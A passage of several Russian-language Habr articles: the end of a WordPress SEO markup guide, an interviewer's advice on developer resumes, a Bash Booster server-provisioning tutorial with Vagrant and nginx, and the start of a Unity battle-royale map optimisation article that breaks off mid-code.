В принципе на этом можно было бы закончить, т.к. данные приемы помогут сделать вам сайт с обзорами книг, сайт с кулинарными рецептами и т.д. Но раз уж начали размечать данные на сайте, то давайте воспользуемся всеми возможностями семантической разметки.
##### Сводный рейтинг
Те самые звездочки — <http://schema.org/AggregateRating>. Без них блог с рецензиями выглядел бы неполноценно. Данную схему также можно применять для интернет-магазинов — рейтинг товаров. Для Wordpress ничего придумывать не нужно, создатели плагина WP-PostRatings добавили в код схему AggregateRating. Нужно будет только в файла wp-postratings.php (wp-content/plugins/wp-postratings) найти и удалить лишний атрибут *itemscope itemtype=«[schema.org/Product](http://schema.org/Product)»*. И учтите, что данный плагин уже включает в себя параметры *itemprop=«name»* и *itemprop=«description»*, т.е. при установке данного плагина, не нужно в шаблоне к заголовку и описанию что-то добавлять.
##### Хлебные крошки
Чтобы в выдаче вместо site.ru/categoty/products7232 отображалась человекопонятная цепочка site.ru/Мобильные телефоны, установите плагин RDFa Breadcrumb. После активации плагина, в нужном месте шаблона вставьте код:
```
php if(function_exists('rdfa_breadcrumb')){ rdfa_breadcrumb(); } ?
```
##### Open Graph
Как оказалось, чтобы Яндекс воспринял правильно видео объект, нужно добавить Open Graph разметку (<http://ogp.me>). Все метатеги для видео объектов в Open Graph разметке дублируют данные из Schema.org. Можете ознакомиться поближе с деталями <http://help.yandex.ru/webmaster/?id=1116426>. Кстати, разметку Open Graph используют социальные сети. Когда человек постит ссылку вашего сайта у себя в соц. сети, данные заголовка, описания и изображение возьмутся из мета-тегов:
```
```
Для Wordpress есть плагин **SEO Ultimate**, который сам сформирует Open Graph разметку.
Надеюсь эти советы помогут вам преобразить унылые и однообразные сниппеты и, возможно, повысят позиции сайта. | https://habr.com/ru/post/152937/ | null | ru | null |
# Предвзятый и субъективный взгляд на резюме разработчика
Привет! Недавно мои коллеги из hh.ru провели [вебинар](https://habr.com/ru/company/hh/blog/502802/), где разбирали резюме разработчика. Я решил поделиться своей точкой зрения на этот счет.
В этой статье мы поговорим о том, как разработчики создают резюме. Я расскажу о том, что меня, как интервьюера, мотивировало и воодушевляло перед встречей с кандидатом, а что наоборот. Разумеется, предвзятость в начале собеседования — это плохо, но все мы люди, и не можем полностью абстрагироваться от входных условий.
**Дисклеймер**: всё, что я буду описывать в этой статье — субъективно и базируется на опыте и эмоциях, которые я испытываю, когда читаю резюме, собеседую разработчиков etc.
Если true story читать не хочется, а хочется сразу tl;dr (в виде “Итого”) или how-to (в виде гайда), то можно промотать вниз на два последних блока.
### Оффтоп: зачем мне тратить время на эту статью?
Давным-давно, еще студентом, я сидел перед компом и пытался воткнуть в это самое "нужно создать резюме, чтобы рассказать, какой я хороший и замечательный, и почему меня нужно взять без опыта". Вооружился гуглом и искал материалы формата "как создать резюме, в которое влюбится работодатель". Получалось примерно следующее: "Стрессоустойчивый кандидат познакомится с привлекательным работодателем. Хочу опыт и кусок хлеба, могу в потуги писать на C#, вот даже в универе такую штукенцию забахал!".
**Резюме образца 2013 года**
Почему я тогда указал Perl — я не знаю, не спрашивайте. Я написал на нем 2 строчки для лабораторки в ВУЗе и больше никогда не открывал.
Дальше было так: я сходил на собеседование в Яндекс на позицию фронтенд-разработчика в команду переводов. Там я красиво провалился. Я не знал вообще ничего. Сверстать пару блоков и немного покодить на JS я умел, конечно. Но в теоретической части я был где-то в районе -1.
Из того собеседования я вынес 3 мысли:
1. **Я хочу быть фронтендером, потому что они крутые и РИСУЮТ САЙТЫ**. Что ж, мне было 19 лет, поэтому такие суждения простительны.
2. **Я хочу работать в яндексе.** Там очень умные ребята, которые очень крутые. Позднее в Яндекс я всё-таки прошел и даже получил офер, но остался в hh.ru.
3. **Я провалил вопрос про выделение текста в textarea**. Через несколько месяцев этот вопрос снова стал меня мучать, и я написал свою [первую полноценную статью про JS](https://habr.com/ru/post/185558/) на эту тему.
Дальше была Школа Программистов hh.ru, где из меня и сделали ~~человека~~ разработчика.
#### Это была лирика. Далее по теме
За время работы в hh.ru я участвовал в огромном количестве собеседований. Сначала как подмастерье, а потом уже как ведущий этого праздника жизни. Мне всегда казалось, что собеседовать нужно совсем по-другому, нужно лучше. И в какой-то момент я стал много времени уделять резюме кандидата.
Я взял за правило, что к моменту собеседования резюме должно быть прочитано полностью, а во время интервью может использоваться только как набор закладок и шпаргалки для разговора.
Зачастую резюме меня удивляли. После их прочтения у меня складывалось ощущение, что этот человек точно нам подойдет. Они не обязательно были уровня "работал в Netflix 100 лет, но решил вернуться в Россию". Было нечто другое, что “цепляло”. Так я понял, что у резюме несколько задач:
1. Успешно пройти ПВО в виде HR-менеджера
2. “Зацепить” интервьюера, чтобы собеседование не скатилось в стандартное обсуждение 1000 и 1 вопроса, необходимых на интервью
Однако далеко не всегда интервьюер будет читать ваше резюме перед собеседованием. Я даже провел небольшой "эксперимент": сходил в N компаний на собеседования в 2018-2019 годах. Сами собеседования условно можно было разделить на два типа:
1. Интервьюер просто делает свою работу, ты ему вообще до лампочки. Здесь все понятно.
2. Интервьюер ищет себе коллегу. Здесь и начинается диалог, обсуждаются технические моменты, а уходишь с ощущением, что всё было отлично. Офферов было немало, но мне нравится работать в hh.
Опираясь на опыт проведенных мной собеседований и большого количества рассмотренных резюме я и хочу построить дальнейший рассказ.
А чтобы всё было по-честному: где-то в конце 2019 я угробил 4 выходных дня, чтобы выстрадать [свое резюме](https://xnim.ru/cv/ru/).
### Успешно пройти иммунную систему в виде HR
На мой взгляд, базовый инструментарий HR-менеджера включает в себя:
1. **Договоренности с техническим департаментом**, на что обращать внимание. Часто можно найти в wiki компании или просто спросить об этом HR. Например: "если в опыте кандидата верстка промиков — это не наш профиль" или "если работал над почтовыми сервисами — это нам нужно, зовем".
2. **Личный опыт**. Набор личных эвристик основанных на предыдущем опыте: "ребята из этой компании сильные, другие разработчики о них хорошо отзываются", либо "кандидат меняет работы каждые полгода, стоит почитать его резюме внимательнее и желательно между строк".
3. **Keywords**: React, Redux, Spring, Java, 15 лет опыта, Node.js
4. **Ачивки**. "Съел пирог и не растолстел", "Моя фича набрала +100% к пользователям"
### Зацепить интервьюера
Резюме — это краткое сочинение на тему "почему я хороший". Цель разработчиков — рассказать о тех вещах, которые могут зацепить.
Например:
1. Делал клевый проект или отвечал за весь слой? Напиши про это.
2. Занимался проработкой задач вместе с бизнес-заказчиками? Пара слов про это даст понять интервьюверу, что вы работаете не только на уровне "таска пришла-таска ушла"
3. Есть что-то "около-работы"? Отлично, черкани пару строк. Нет такого? Да не проблема, life-work balance тоже ок.
Помимо "почему я хороший", резюме — это еще и набор тем для общения:
1. Занимался архитектурой проекта? Отлично, можем похоливарить!
2. Занимался перформансом? Круто, интервьюер увидит, что кандидат в этом сечет. А еще это повод начать не со стандартного "картинки нужно сжимать, а js тяжелее img", а с каких-то практических примеров из опыта.
### Опыт работы. Препарируем пример
Крайне разочаровывают резюме уровня "работал работу на работе". Здесь отсутствует человек, есть просто функция. Приведу пример:
```
Компания: "Соло на трекпаде",
Frontend-разработчик, Июль 2018 — по наст. бремя.
Участие в разработке продукта
```
Ничего не понятно. Есть портал. Он внутренний? Внешний? А сайт? Приложение? Чат? Какова в этом роль кандидата? Возможно было что-то, что в проекте нравилось? И наоборот? Миллиард вопросов!
Стоит чуть-чуть пройтись шпаклевкой, и такой пример становится полезнее:
```
Компания: "Соло на трекпаде",
Frontend-разработчик, Июль 2018 — по наст. бремя.
Участие в разработке продукта для общения с клиентами через чаты техподдержки.
- Интеграция с телеграм, WhatsApp и вайбер
- Аналитика данных
- АБ
```
Для меня, как для интервьюера, становится понятно, что разработчик выделил для себя. Отличный повод поговорить о том, как проводились АБ тесты и собирались метрики. Необходимо понять, насколько разработчик — разработчик, и насколько мы на одной волне.
Для достижения лучшего эффекта кандидат может расставить акценты на том, что его драйвило:
```
Компания: "Соло на трекпаде",
Frontend-разработчик, Июль 2018 — по наст. бремя.
Участие в разработке продукта для общения с клиентами через чаты техподдержки.
- Интеграция с телеграм — написали свой клиент через SDK.
Это позволило увеличить конверсию пользователей на 100 человек в день
- Аналитика данных, АБ — организовал инфраструктуру для связи "Компоненты - эксперименты"
```
Кажется, что описано то же самое, что и в предыдущем примере, но:
1. Интервьюер уже видит, что кандидат не дядя с улицы, а занимается вопросами улучшения и оптимизации. Чтобы проверить свою гипотезу, я завожу разговор о той самой инфраструктуре. Выясняется, что информация о том, от какого эксперимента зависит компонент, находится в static-поле. Бабель-плагин достает такие поля и формирует JSON страница ⇒ эксперименты.
2. Упоминание достижений, даже локальных, говорит о том, что разработчику "не все равно". Не все равно, что там бизнес творит. Не все равно на фидбек сервиса. 100 очков гриффиндору.
Появляется логичный вопрос: А если так?
```
Компания: "Соло на трекпаде",
Frontend-разработчик, Июль 2018 — по наст. бремя.
Участие в разработке продукта для общения с клиентами через чаты техподдержки.
Используемый стек: React, Redux, Кин-дза-дза, Node.js, FusRoDuh v3.
```
Это не даст вам преимущества. Упомянуть о стеке хорошо. Но превращение всего опыта работы в стек "я кодер, кодерю на стеке" не говорит о том, что разработчик умеет решать задачи.
Можно выбрать какой-нибудь срединный путь:
```
Компания: "Соло на трекпаде",
Frontend-разработчик, Июль 2018 — по наст. бремя.
Участие в разработке продукта для общения с клиентами через чаты техподдержки.
- Интеграция с телеграм — написали свой клиент через Node.js SDK.
Это позволило увеличить конверсию пользователей на 100 человек в день
- Аналитика данных, АБ — организовал инфраструктуру для связи "React компоненты - эксперименты"
- Организация бизнес слоя на Redux + Saga, иницировал переход с thunk на Saga
```
Здесь в каждый пункт мы добавили немного контекста: вот тут я трогал ноду, здесь реакт, а еще и полностью техническим вопросом занимался! Танки на саги перетаскивал.
**В итоге:** Мы увеличили наш текст на 3 пункта, но сделали его с одной стороны соответствующим для HR менеджера, который и keywords увидит, и человека рассмотрит. А с другой стороны он хорош для разработчика — собеседующий будет понимать, что интересно разработчику (ну или чем его заставляли заниматься).
### Гайд по заполнению резюме
Начнем со сложного: сколько писать? Когда я хочу написать коротенькую статью “буквально на 3 абзаца”, выходит вот это. С резюме так же. В какой-то момент мое резюме занимало 4 страницы А4.
Идеально, если получится впихнуть резюме в одну страницу. Что там можно написать?
**Кто таков**. Имя-фамилия-позиция-контакт. Фото и прочие прибамбасы — по желанию. Тут как с авто — обвес лишним не будет, но и без него едет.
Не оч:
```
Аноним Анонимов
for-hr@email.ru
```
Уже лучше:
```
Мария Игнатова, Frontend-разработчик
Telegram: @definiteTelegramAccount
email: definiteEmail+hr@email.com
```
Кайф:
```
Мария Игнатова, Frontend-разработчик
Telegram: @definiteTelegramAccount
email: definiteEmail+hr@email.com
GitHub, LinkedIn links, etc.
```
**Чем славен/tl;dr/эбаут**. Часто в "о себе" либо ничего не пишут, либо пишут о стрессоустойчивости. А я бы порекомендовал вынести туда самую мякотку: "Lead developer, водил команду из 6 человек в данжи. Отвечал за направления чат-ботов. Автор статей на Хабре." Сюда же можно засунуть "пожелания". Например: "хочу работать в игорном бизнесе, энтерпрайз надоел, галеры ван-лав." В этом случае эбаут можно разделить на две части. Мякотка вверху, пожелания внизу.
Можно лучше:
```
Frontend engineer
```
Уже лучше:
```
Frontend engineer.
Нравится BDD, прорабатывать архитектуру,
заниматься глобальными вопросами в проекте.
Хочется совмещать решение сложных технических задач и продуктовую разработку.
В продуктовой разработке люблю заниматься вопросами метрик, организации процессов.
```
Другой вариант:
```
Frontend engineer. Автор технических статей. Спикер на РИТ++, FrontendConf.
Сосредоточен на решении продуктовых задач.
```
И третий вариант:
```
Frontend engineer
Есть опыт разработки продуктов с нуля и развития комплексных проектов.
Хотелось бы попробовать себя не только во фронтенде,
но и в форточку выкидывать свои навыки не хочу.
Не заинтересован в игорном бизнесе.
```
**Опыт работы**. Об этом выше уже было (сразу перед этой главной), поэтому идем дальше
**Около работы**. Статьи, выступления, опен-сорс, пет-проджекты, волонтерства, я у мамы молодец — об этом забывать не стоит. Около-работа ощутимо влияет на принятие решений. Однажды я собеседовал разработчика, который написал, что сделал промисы, чей колбек для исполнения выполняется в отдельном воркере. Это дало повод пообщаться о том, как это работает. Этот разработчик вполне успешно работает у нас уже несколько лет. Как говорится, “все, что вы скажете, может быть использовано против вас”. Важна каждая деталь. Если есть чувство, что об этом говорить не хочется или нечего, то блок пропускается и никто ничего не заподозрит.
Нормально:
Дает больше контекста:
```
Автор небольших опенсорс-проектов,
которые выделили во время работы над рабочими задачами:
например https://github.com/hhru/babel-plugin-react-displayname
Спикер на конференциях. Например РИТ++ (ссылка на доклад)
```
Другой вариант:
```
Прохожу курсы на egghead, coursera,
Нравится посещать конференции, делиться знаниями
Провожу митапы внутри компании.
```
**Keyskills**. Не будем усложнять серчерам задачу. Лучше выделить блок, который можно оформить или просто как поток сознания, или его же, но с временными рамками:
Поток сознания:
```
TypeScript, React, Redux, Svelte, Babel, Node.js, Koa, Express, JS, CSS, HTML
```
Поток сознания с временными рамками:
```
React, Redux, TS — 3+ года
JS, CSS, HTML — 6+ лет
Node.js — 1 год
```
Я предпочитаю первый вариант. Он компактнее и не засоряется лишней информацией.
**Общая разлиновка**. Мне нравится такая:
Да, я бессовестно содрал со своего же резюме, но зачем мне рекламировать то, что мне не нравится?
Однако можно не заморачиваться, и воспользоваться готовым сервисом, который поможет составить резюме, а в лучшем случае и работу найдет. Я в разное время заполнял резюме на этих сервисах (ln не в счет, он — соцсетка):
1. <https://www.jobhero.com/> — много разных шаблонов, приятный интерфейс, здесь я и взял вдохновение для своего резюме, владельцы забанили российские IP.
2. <https://hh.ru/> — ну, вы поняли
3. <https://headz.io/> — что-то вроде российского аналога hired/honeypot со своим видением вопроса. Удобно: заполнить резюме можно быстро, легко и без смс. Неудобно: keyskills и "в какой хочешь работать компании" немного занудные
4. <https://www.honeypot.io/> — они крайне назойливо хотят созвониться, так как на основе твоего резюме будут подбирать тебе работу. В остальном — зайчики
5. <https://hired.com/> — Все ок, но у меня не получалось отправить резюме на ревью
6. <https://indeed.com/> — очень порадовал удобным интерфейсом для заполнения резюме
(список составлен в рандом порядке и смысла не несет. Профиль на хабр-карьере не трогал с 2018 года, судить не могу)
### Итого
Далее пойдут сухие советы без кринжового веселья.
Вещи которые нам нужны в резюме:
1. **Контакты**.
2. **Что ты из себя представляешь, что нравится в разработке**: достижения на проекте, пусть это будут и совсем локальные, возможно то, что нам греет сердце. Обычно включается в опыт работы
3. **Контекст проекта** — чем занимался, в идеале, если есть опорные пункты. Опорные пункты вида: "сделал фичу календарь; улучшил перфоманс" и т.д. Такие штуки выполняют 2 задачи: показывают со стороны специалиста и позволяют задать тон будущему собеседованию (но зависит от опыта собеседующего). Тоже включено в опыт работы
4. **keywords** — хоть мне это и не нравится, но на те самые "ключевые навыки" обращают внимание. Способов их вставить всего два. Первый — нативно во время рассказа про контекст проекта/достижения. Второй — отдельный пункт "Ключевые навыки". Тем самым мы упрощаем время скрининга нашего резюме и повышаем шансы не быть отложенными по принципу "ну мы тут Angular ищем, а кандидат про это не упомянул"
Вещи которые включаются по желанию:
1. **О себе**. Нравится проводить митапы? Участвовать в них? Написал статью на Хабре? Работаешь с пет-проджектами? Коммитишь в опен-сорс? Ничего из перечисленного, но было что-то интересное на работе, что можно перенести из описания проекта в блок о себе? Снова нет? Можно опустить его, отрицательно это не скажется.
2. **Пожелания**. Был неприятный опыт с командой? Есть определенные убеждения? Это можно указать в конце резюме.
И в заключение стоит сказать — относитесь к резюме не как к официальной бумаге, а как к вашему "**элеватор питчу**". | https://habr.com/ru/post/510104/ | null | ru | null |
# Bash Booster — SCM инструмент на чистом баше
Для управления серверами профессиональные администраторы давно используют такие [SCM](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D1%84%D0%B8%D0%B3%D1%83%D1%80%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%BE%D0%B5_%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5) системы, как Chef, Ansible, SaltStack и т.п. Данные инструменты помогают централизованно администрировать большой парк серверов. Для управления же одним сервером трудозатраты на установку и настройку такого инструмента часто превышают выигрыш от его использования. В данном случае нередко применяется подход «да ну его, я быстрее скрипт на баше напишу». Подход достаточно популярный, а потому я хотел бы познакомить вас с легковесным SCM инструментом, который не требует ничего, кроме старого доброго баша, и может вполне успешно применяться для настройки одного сервера.
Итак, Bash Booster — библиотека, помогающая писать [идемпотентные](https://ru.wikipedia.org/wiki/%D0%98%D0%B4%D0%B5%D0%BC%D0%BF%D0%BE%D1%82%D0%B5%D0%BD%D1%82%D0%BD%D0%BE%D1%81%D1%82%D1%8C) баш-скрипты для настройки серверов и развертки приложений. Была написана под впечатлением от Chef и для использования совместно с Vagrant, хотя область применения вовсе этим не ограничивается. Не требует ничего, кроме баша, стандартных утилит и, в некоторых случаях, питона (который так же установлен на любой Linux системе из коробки). Т.е. вполне пригодна для запуска на абсолютно голой машине без дополнительной подготовки.
Давайте посмотрим на живом примере. Я буду использовать [Vagrant](https://www.vagrantup.com/downloads.html) для демонстрации. Исходники примера находятся на [Bitbucket](https://bitbucket.org/kr41/bash-booster-demo/src), где все шаги оформлены как отдельные коммиты.
Итак, предположим у нас есть сервер с Linux Ubuntu 14.04, на который нужно установить nginx и настроить его.
Создадим пустую директорию, а в ней Vagantfile:
```
# -*- mode: ruby -*-
# vi: set ft=ruby :
VAGRANTFILE_API_VERSION = "2"
Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
config.vm.box = "ubuntu/trusty32"
config.vm.network :forwarded_port, host: 8080, guest: 80
end
```
И выполним команду:
```
$ vagrant up
```
Vagrant создаст и запустит виртуальную машину с чистой системой (возможно, придется подождать пока он скачает образ). Кроме того, он примонтирует текущую директорию хост-системы в точку /vagrant, т.е. мы сможем иметь доступ к файлам из нашего примера внутри виртуальной машины. Можете проверить это:
```
$ vagrant ssh
$ ls /vagrant
Vagrantfile
$ exit
```
Далее, скачаем архив [Bash Booster](https://bitbucket.org/kr41/bash-booster/downloads) и распакуем его в bashbooster-0.3beta (0.3beta — текущая версия на момент написания статьи). А так же подправим Vagrantfile, указав скрипт настройки:
```
# -*- mode: ruby -*-
# vi: set ft=ruby :
VAGRANTFILE_API_VERSION = "2"
Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
config.vm.box = "ubuntu/trusty32"
config.vm.provision :shell, inline: "/vagrant/provision.sh"
config.vm.network :forwarded_port, host: 8080, guest: 80
end
```
На этом подготовка закончена и можно приступить к самому интересному. Создадим скрипт provision.sh:
```
#!/usr/bin/env bash
# Удаляем переменную CDPATH, чтобы избежать нежелательных эффектов
# при использовании функции cd
unset CDPATH
# Переключаем текущую директорию в то место, где лежит скрипт
cd "$( dirname "${BASH_SOURCE[0]}" )"
##
# Инициализируем Bash Booster
##
BB_LOG_USE_COLOR=true # Раскрашиваем логи для удобства
source bashbooster-0.3beta/bashbooster.sh
# Устанавливаем nginx
bb-apt-install nginx
```
Теперь помечаем скрипт как исполняемый:
```
$ chmod a+x provision.sh
```
И запускаем настройку нашего сервера:
```
$ vagrant provision
```
В логах должный появится строчки:
```
bb-apt [INFO] Updating apt cache
bb-apt [INFO] Installing package 'nginx'
```
Что это значит? Фактически наш скрипт выполнил:
```
$ apt-get update
$ apt-get install nginx
```
Можно перейти в браузере на <http://localhost:8080> что бы увидеть стандартное приветствие «Welcome to nginx!» Теперь, если выполнить vagrant provision еще раз, скрипт отработает практически мгновенно, потому что функция bb-apt-install ничего не делает, если запрошенный пакет уже установлен.
Давайте теперь создадим директорию www с файлом index.html:
```
Bash Booster Rocks!
===================
```
И настроим nginx, что бы он отдавал файлы из этой директории. Для этого создадим конфигурацию nginx-default-site в директории conf:
```
server {
root /vagrant/www;
index index.html;
}
```
И добавим синхронизацию конфигурации в скрипт provision.sh:
```
bb-event-on "nginx-updated" "on-nginx-updated"
on-nginx-updated() {
service nginx restart
}
bb-sync-file \
/etc/nginx/sites-available/default \
conf/nginx-default-site \
nginx-updated
```
А теперь выполним команду настройки:
```
$ vagrant provision
```
В логах появится:
```
* Restarting nginx nginx
...done.
```
Перейдя на <http://localhost:8080>, можно увидеть вместо стандартного приветствия nginx неприлично большую надпись «Bash Booster Rocks!» из ранее созданного файла.
Как это работает? Функция bb-event-on подписывает функцию on-nginx-updated на событие nginx-updated. Функция bb-file-sync синхронизирует локальную копию конфигурации nginx с его текущей версией. Если были изменения, то эта функция порождает событие nginx-updated, по которому его обработчик перезапустит nginx. Попробуйте выполнить vagrant provision еще раз, и он отработает без перезагрузки nginx. Если же внести изменения в nginx-default-site, то nginx будет перезагружен. Таким образом мы получили компактный идемпотентный скрипт, который делает ровно то, что нужно и не более.
Конечно, здесь описаны далеко не все возможности Bash Booster, но для первого знакомства вполне достаточно. Полная документация находится на сайте [www.bashbooster.net](http://www.bashbooster.net). | https://habr.com/ru/post/253209/ | null | ru | null |
# Как за день потерять 30% онлайна и за два месяца сделать батлрояль
Однажды в своем PvP-шутере мы за один день потеряли 30% от 60 тысяч одновременного онлайна. Это был 2018-й, в тот день на iOS вышел Fortnite. И хотя хайп был уже около года, а PUBG регулярно бил рекорды, без королевской битвы нам жилось вполне спокойно. Но тут стало очевидно, что батлрояль нельзя игнорировать, игрокам он нравится и нужно разрабатывать свой.
За два месяца мы проделали много интересной и сложной работы. Например, сделали свой редактор террейна, чтобы отрисовывать ландшафт не в 500 тысяч треугольников, как это делал Unity Terrain, а всего в 30 тысяч. Или написали мешбейкер, сократив количество запросов на отрисовку с 800 до 100, а освещение научились запекать за 5 минут вместо 30 часов.
И это не говоря уже об огромном количестве разных оптимизаций ассетов, подгрузки объектов и так далее. Обо всем этом и многом другом подробно расскажу под катом.
Казалось бы, в чем сложность добавить еще один игровой режим (пусть и самый большой), когда все основное готово: персонаж, механики, оружие. Тем более опыт в разработке батлрояля у нас уже был, так как до этого работали над другим похожим проектом и могли не повторять те же ошибки.
Тем не менее, трудностей было много: отсутствие нужных плагинов Unity, низкая производительность мобильных устройств, проблемы с оперативной памятью и так далее. Забегая вперед — со всем справились, правда, для этого пришлось написать пачку собственных инструментов.
Батлрояль был полностью готов за два месяца. Тайминги примерно такие:
* 2 недели — переносили лейауты и объекты из существующих карт, создавали ландшафт в Unity Terrain, писали сетевой и геймплейный код;
* 2 недели — писали собственный редактор террейнов, мешбейкер, систему пулов, анализатор, правили баги в коде;
* 1 месяц — оптимизировали сетевую часть и занимались полировкой созданных инструментов, наводили лоск на карте.
Если разделить всю работу на условные части, то получится три больших блока: графика, сеть и геймдизайн. Все и сразу не рассказать, поэтому сейчас подробно остановимся на графической части и создании карты.
### Террейн и пропсы
В Pixel Gun 3D раньше никогда не было карт крупнее, чем 200 на 200 метров. А теперь нам предстояло сделать локацию в 100 раз больше — огромный остров 2 на 2 километра, над которым при этом летят игроки и видят его целиком.
В игре уже есть несколько десятков мультиплеерных карт и локаций из одиночной кампании, которые хорошо знакомы игрокам. Поэтому решили, что батлрояль должен стать оммажем ко всей остальной игре, даже к сингловой ее части. Так игрокам было бы намного проще освоиться в новом режиме, ориентироваться на карте и давать друг другу информацию. А для себя мы таким образом решили проблемы с разработкой лейаутов — зачем изобретать велосипед, когда в проекте больше 100 отточенных временем сетевых карт.
Для создания ландшафта выбрали редактор Unity Terrain, он был прост и понятен левел-дизайнеру и позволял быстро прототипировать. Для ускорения разработки ассеты были взяты из уже существующих локаций игры. Но у всех объектов уже были свои отдельные текстуры и материалы — это первая из возникших проблем.
Чтобы отрисовать объект на экране, Unity отправляет команду Draw Call (запрос на отрисовку) — чем больше объектов с уникальными материалами, тем больше запросов и тем сильнее нагрузка на CPU и GPU. Если есть объекты с одинаковым материалом и они соответствуют требованиям, то процессор может отправить запрос на отрисовку нескольких объектов одной пачкой (батчинг). В нашем случае у всех объектов были разные материалы, поэтому даже без полной отрисовки карты получили в районе 800 запросов, что очень много. В мобильном проекте идеально держать около 100 дроуколов.
Для решения этой проблемы нужно, чтобы все графические ассеты использовали один материал и один текстурный атлас. Это можно было сделать, выдав соответствующую задачу арт-отделу, но ее решение в пакете 3D-моделирования заняло бы не один десяток человеко-часов. Да и, в конце концов, мы не в каменном веке — решили автоматизировать процесс.
Можно было использовать [плагин Mesh Baker](https://assetstore.unity.com/packages/tools/modeling/mesh-baker-5017), но с ним бы возникли неудобства, так как «из коробки» плагин не предоставлял весь необходимый инструментарий ввиду уникальности наших запросов. Все, чем он мог помочь — запечь кучу разрозненных материалов и текстур в один атлас. В итоге, легче было написать собственный инструмент, чем разбираться со сторонним.
Код для создания текстурного атласа и смены текстурных координат для мешей:
```
// при помощи текстур пакера создаем атлас
private void BakeTexture()
{
newTexture = new Texture2D(8, 8, TextureFormat.ETC_RGB4, false);
var Rects = newTexture.PackTextures(textures.ToArray(), 0, 2048, false);
for (int i = 0; i < Rects.Length; i++)
{
AtlasTextures[i].rect = Rects[i];
}
newTexture.Apply();
}
// меняем текстурные координаты меша при помощи данных из текстур пакера
private void BakeMesh(Mesh meshInstance, int meshId)
{
tempMeshes.Add(new Mesh());
var newMesh = tempMeshes[meshId];
newMesh.vertices = meshInstance.vertices;
newMesh.normals = meshInstance.normals;
//код для объектов с подкраской при помощи vertex color
if (meshInstance.colors != null && meshInstance.colors.Length != 0)
{
newMesh.colors = meshInstance.colors;
}
for (int i = 0; i < newMesh.subMeshCount; i++)
{
newMesh.SetIndices(meshInstance.GetIndices(i), meshInstance.GetTopology(i), i);
newMesh.SetTriangles(meshInstance.GetTriangles(i), i);
}
var rect = AtlasTextures[meshId].rect;
Vector2 ofst = new Vector2(rect.xMin, rect.yMin);
Vector2 scl = new Vector2(rect.width, rect.height);
Vector2[] newUv = new Vector2[meshInstance.uv.Length];
for (int i = 0; i < meshInstance.uv.Length; i++)
{
Vector2 uv = meshInstance.uv[i];
newUv[i] = Vector2.Scale(uv, scl) + ofst;
}
newMesh.uv = newUv;
if (meshInstance.uv2 != null && meshInstance.uv2.Length != 0)
{
newMesh.uv2 = meshInstance.uv2;
}
tempMeshes[meshId] = newMesh;
}
```
Как работает наш собственный мешбейкер: мы выдаем ему список префабов для запекания в атлас, указываем, как назвать атлас и материал. После чего по нажатию кнопки calculate создается специальный каталог для запеченных объектов и туда сохраняются автоматически перенастроенные префабы, а в еще одну папку — новый меш, атлас и материал. В итоге сохраняются исходные ассеты и появляются новые, уже оптимизированные.
Объекты сгруппировали по типам: с прозрачностью или без, с подкраской по вертексами или без и так далее. На выходе из множества материалов мы получили шесть штук и единый текстурный атлас.
Маленький лайфхак: необязательно хранить меши как .obj или .fbx, Unity умеет их сохранять как .asset.
Оригинальный меш с отдельным материалом и текстуройНовый меш, уже замаплен на атлас и хранится как .assetГотовый текстурный атласКоличество отрисовок до четырех, конечно, не сократилось, потому что на карте остались объекты с тайловыми текстурами. Например, дом состоит из одного меша и на нем висит 4 материала: плитка, шифер, кирпич и дерево. Тайловые текстуры невозможно запечь в атлас, так что оставили как есть (на самом деле возможно, если очень сильно захотеть, но тут напрашивается отдельная статья). Тем не менее, количество запросов на отрисовку с 800 мы срезали до 100-120. Уже лучше.
Другая проблема возникла с Unity Terrain — он требовал на отрисовку в среднем 500 тысяч треугольников. Для сравнения в режиме тимфайт со всеми интерфейсами, партиклами и остальным был максимум в 150 тысяч трисов на отрисовку самого «прожорливого» кадра. А тут 500 тысяч только на террейн.
Решили, что когда левел-дизайнер закончит работу с террейном, его меш будет перемоделен и оптимизирован в 3ds Max. Но от этого быстро отказались, так как лишались гибкости при дальнейшей работе с картой: левел-дизайнеру пришлось бы все изменения в ландшафте делать при помощи рук 3D-артистов, а им в свою очередь постоянно перемоделивать и изменять меш карты. В общем, редактор террейна был нужен, но Unity Terrain нам не подходил.
Стали ресерчить плагины в Asset Store и что они вообще умеют. Большинство из них изобиловали лишними возможностями, которые ухудшали итоговую производительность. Нам же требовалось максимально легковесное решение.
Решили написать собственный редактор террейна, чтобы полностью все контролировать. За основу в нем взяли систему чанков. В нашем случае чанки — это квадраты 200 на 200 метров, на которые разбивается вся карта батлрояля. Всего 100 штук.
Например, игрок находится в определенном чанке:
1. текущий чанк отрисовывается в максимальном разрешении;
2. близлежащие соседние чанки — тоже в максимальном разрешении;
3. следующий ряд за ними — в половинчатом разрешении;
4. все, что дальше — в 4 раза меньше.
ЧанкиС такой системой террейн стал отрисовываться не в 500 тысяч треугольников, а всего в 30 тысяч. Для его покраски использовали технологию [Texture Splating](http://wiki.polycount.com/wiki/Splat) и написали собственный легковесный шейдер.
Так как террейн изначально был создан в Unity Terrain, то его предстояло перенести на собственный редактор. Написали расширение, которое позволило нашему редактору работать с картой высот из Unity Terrain.
В результате написали генератор террейна, редактор для дизайнеров с системой покраски, а также провели работу по профилированию и оптимизации.
Редактор для дизайнеровЧто под капотом нашего домашнего редактора террейна? Позиции вершин и UV-координаты для меша террейна генерируются в риалтайме, а хранится только список высот. Их мы храним как byte (значение от 0 до 255), так как 255 градаций высоты для нашей карты вполне достаточно.
Наш террейн имеет три градации детализации: низкополигональный меш хранится на сцене, меши средней и высокой детализации генерируются в рантайме. Чтобы не было утечек памяти, мид и хай меши создаются только 1 раз на запуске сцены, после чего в них просто подменяются данные о положении вертексов и UV-координат. В редакторе террейна дизайнеры работают только с хай мешем, по нажатию кнопки «сохранить» заполняется список высот и генерируется лоу меш, который автоматически размещается на сцене королевской битвы.
Код генерации/перерасчета меша для чанка:
```
private Vector3[] verts; // список вертексов аллоцируем один раз и дальше просто перезаполняем
private Vector2[] uv; // координаты развертки также аллоцируем единожды
// decimator служит для определения разрешения меша
private void UpdateMesh(int X, int Y, ref MeshInstance TerrainMeshPart, bool isEdge = false, MeshPosition meshPosition = MeshPosition.Center, int decimator = 1)
{
int lowMeshIndex = ArrayToLinear(X, Y, terrainData.gridWidth);
